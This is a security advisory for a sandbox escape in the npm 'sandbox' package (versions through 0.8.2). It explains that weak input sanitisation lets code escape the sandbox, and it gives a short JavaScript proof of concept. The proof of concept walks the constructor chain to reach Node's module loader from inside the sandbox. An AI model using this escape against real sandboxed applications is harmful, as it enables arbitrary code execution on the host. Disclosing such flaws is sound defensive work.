GHSA-fm4j-4xhm-xpwxMediumDisclosed before NVD

Sandbox Breakout / Arbitrary Code Execution in sandbox

Published
September 2, 2020
Last Modified
February 2, 2026

📋 Description

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

🎯 Affected products1

  • npm/sandbox:>= 0.0.0, < 1.0.0

🔗 References (3)